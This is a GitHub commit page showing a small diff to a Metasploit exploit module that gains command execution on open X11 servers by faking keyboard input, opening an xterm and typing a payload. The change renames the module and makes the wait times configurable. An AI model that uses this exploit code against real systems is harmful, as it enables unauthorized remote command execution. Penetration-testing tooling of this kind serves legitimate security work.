Skip to content

Commit a81a9e0

Browse files
author
xistence
committed
Added TIME_WAIT for GUI windows
1 parent 13a69e4 commit a81a9e0

File tree

1 file changed

+7
-6
lines changed

1 file changed

+7
-6
lines changed

modules/exploits/unix/x11/x11_keyboard_exec.rb

Lines changed: 7 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote
7979

8080
def initialize(info = {})
8181
super(update_info(info,
82-
'Name' => 'X11 Keyboard Exec',
82+
'Name' => 'X11 Keyboard Command Injection',
8383
'Description' => %q{
8484
This module exploits open X11 servers by connecting and registering a
8585
virtual keyboard. The virtual keyboard is used to open an xterm terminal
@@ -108,7 +108,8 @@ def initialize(info = {})
108108

109109
register_options(
110110
[
111-
Opt::RPORT(6000)
111+
Opt::RPORT(6000),
112+
OptInt.new('TIME_WAIT', [ true, 'Time to wait for opening GUI windows', 5])
112113
], self.class)
113114
end
114115

@@ -225,15 +226,15 @@ def exploit
225226
release_key(KB_KEYS["alt"])
226227
release_key(KB_KEYS["f2"])
227228

228-
# Wait a second to open the dialog
229-
select(nil, nil, nil, 1)
229+
# Wait X seconds to open the dialog
230+
select(nil, nil, nil, datastore['TIME_WAIT'])
230231

231232
# Start a xterm terminal
232233
print_status("#{rhost}:#{rport} - Opening xterm")
233234
type_command("xterm")
234235

235-
# Wait a second to open the terminal
236-
select(nil, nil, nil, 1)
236+
# Wait X seconds to open the terminal
237+
select(nil, nil, nil, datastore['TIME_WAIT'])
237238

238239
# "Type" our payload and execute it
239240
print_status("#{rhost}:#{rport} - Typing and executing payload")

0 commit comments

Comments
 (0)